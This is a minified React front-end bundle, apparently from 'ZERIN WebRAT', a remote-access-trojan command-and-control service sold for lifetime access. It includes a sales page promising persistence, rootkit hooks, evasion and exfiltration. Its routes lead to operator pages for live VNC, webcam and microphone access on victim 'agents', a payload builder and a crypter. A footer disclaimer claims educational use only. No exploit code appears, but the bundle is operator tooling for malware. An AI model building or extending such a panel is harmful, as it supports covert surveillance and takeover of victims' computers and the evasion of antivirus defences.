${e?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsx("div",{className:"flex items-center gap-3",children:s.jsxs(dt,{to:"/",className:"flex items-center gap-3 hover:opacity-80 transition-opacity",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]})}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(dt,{to:"/features",className:"text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),s.jsx("a",{href:"/#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx(dt,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),s.jsx(dt,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),s.jsx(SV,{activeId:n}),s.jsxs("section",{className:"relative z-10 pt-32 pb-16 px-6 text-center",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Platform Capabilities"}),s.jsxs("h1",{className:"font-display font-bold text-4xl sm:text-5xl md:text-6xl tracking-tight mt-4 mb-5",children:["Full Spectrum"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent",children:"Red Team Toolkit"})]}),s.jsxs("p",{className:"max-w-2xl mx-auto text-zerin-text-muted/80 text-[15px] leading-relaxed font-mono",children:[a," capabilities across ",Mi.length," modules — from initial access to persistence, evasion, and exfiltration. Everything an operator needs in a single platform."]}),s.jsxs("div",{className:"mt-14 max-w-3xl mx-auto grid grid-cols-2 sm:grid-cols-4 gap-8 border border-[#1a1a22] bg-[#08080c]/50 py-6 px-6",children:[s.jsx(Zl,{value:String(a),label:"Capabilities"}),s.jsx(Zl,{value:"13",label:"Persist Methods"}),s.jsx(Zl,{value:"11",label:"Rootkit Hooks"}),s.jsx(Zl,{value:"256",label:"Proxy Channels"})]}),s.jsx("div",{className:"mt-10 flex flex-wrap items-center justify-center gap-2",children:Mi.map(o=>s.jsx("a",{href:`#${o.id}`,className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/60 border border-[#1a1a22] hover:border-zerin-accent/30 hover:text-zerin-accent/80 px-3 py-1.5 transition-all duration-300 uppercase",children:o.label},o.id))})]}),s.jsx("div",{className:"max-w-6xl mx-auto px-6",children:s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"})}),s.jsx("div",{className:"relative z-10 max-w-5xl mx-auto px-6 py-20 space-y-24",children:Mi.map((o,l)=>s.jsx(NV,{cat:o,index:l},o.id))}),s.jsxs("section",{className:"relative z-10 py-24 px-6 text-center border-t border-[#1a1a22]/50",children:[s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl tracking-tight mb-4",children:["Ready to"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),s.jsxs("p",{className:"text-zerin-text-muted text-[15px] mb-8 max-w-md mx-auto",children:["Get lifetime access to the full platform — all ",a," capabilities included."]}),s.jsxs("div",{className:"flex items-center justify-center gap-4",children:[s.jsxs("a",{href:"/#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-8 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[s.jsx("span",{className:"relative z-10",children:"View Pricing"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),s.jsx(dt,{to:"/register",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-8 py-3 transition-all duration-300",children:"Register"})]})]}),s.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[s.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[s.jsxs("button",{onClick:i,className:"flex items-center gap-2 hover:opacity-80 transition-opacity",children:[s.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),s.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),s.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function Ql({children:e}){const{isAuthenticated:t}=ls();return t?s.jsx(s.Fragment,{children:e}):s.jsx(Qi,{to:"/",replace:!0})}function CV({children:e}){const{isAuthenticated:t,isAdmin:n}=ls();return t?n?s.jsx(s.Fragment,{children:e}):s.jsx(Qi,{to:"/",replace:!0}):s.jsx(Qi,{to:"/login",replace:!0})}function I2({children:e}){const{isAuthenticated:t}=ls();return t?s.jsx(Qi,{to:"/dashboard",replace:!0}):s.jsx(s.Fragment,{children:e})}function PV(){const[e]=xx(),t=dr();return p.useEffect(()=>{let n=e.get("token");if(!n){const r=window.location.hash;r.startsWith("#token=")&&(n=decodeURIComponent(r.slice(7)))}n&&n.split(".").length===3&&(vx(n),xi()),t("/dashboard",{replace:!0})},[e,t]),null}function EV(){const{isAuthenticated:e}=ls();return e?s.jsx(Qi,{to:"/dashboard",replace:!0}):yx()?s.jsx(UA,{}):s.jsx(Qi,{to:"/login",replace:!0})}function AV(){return s.jsx(sA,{children:s.jsxs(mE,{children:[s.jsx(ht,{path:"/",element:s.jsx(EV,{})}),s.jsx(ht,{path:"/auth",element:s.jsx(PV,{})}),s.jsx(ht,{path:"/features",element:s.jsx(zV,{})}),s.jsx(ht,{path:"/payment/:id",element:s.jsx(bV,{})}),s.jsx(ht,{path:"/login",element:s.jsx(I2,{children:s.jsx(VA,{})})}),s.jsx(ht,{path:"/register",element:s.jsx(I2,{children:s.jsx(HA,{})})}),s.jsx(ht,{path:"/vnc/:id",element:s.jsx(Ql,{children:s.jsx(iV,{})})}),s.jsx(ht,{path:"/webcam/:id",element:s.jsx(Ql,{children:s.jsx(uV,{})})}),s.jsx(ht,{path:"/mic/:id",element:s.jsx(Ql,{children:s.jsx(fV,{})})}),s.jsxs(ht,{element:s.jsx(Ql,{children:s.jsx(IA,{})}),children:[s.jsx(ht,{path:"/dashboard",element:s.jsx(zU,{})}),s.jsx(ht,{path:"/agents/:id",element:s.jsx(ZU,{})}),s.jsx(ht,{path:"/events",element:s.jsx(JU,{})}),s.jsx(ht,{path:"/payloads",element:s.jsx(nV,{})}),s.jsx(ht,{path:"/crypter",element:s.jsx(vV,{})}),s.jsx(ht,{path:"/admin",element:s.jsx(CV,{children:s.jsx(xV,{})})})]}),s.jsx(ht,{path:"*",element:s.jsx(Qi,{to:"/",replace:!0})})]})})}Np.createRoot(document.getElementById("root")).render(s.jsx(wh.StrictMode,{children:s.jsx(kE,{children:s.jsx(AV,{})})}));